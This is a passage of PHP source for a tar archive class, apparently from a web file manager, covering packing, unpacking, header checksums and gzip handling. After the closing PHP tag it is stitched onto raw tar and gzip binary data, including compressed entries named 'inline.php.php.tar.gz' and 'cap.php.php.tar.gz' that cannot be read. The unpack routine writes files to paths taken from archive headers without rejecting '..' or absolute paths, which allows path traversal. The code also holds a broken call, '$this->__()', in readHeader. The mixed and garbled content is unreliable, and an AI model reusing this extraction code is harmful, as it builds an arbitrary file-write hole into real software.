				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Renderer.zip                                                                                        0000644                 00004014201 15217301643 0007042 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\S      inline.php.php.tar.gznu [              Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,   PK     |\Mk]  ]    cap.php.php.tar.gznu [              i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
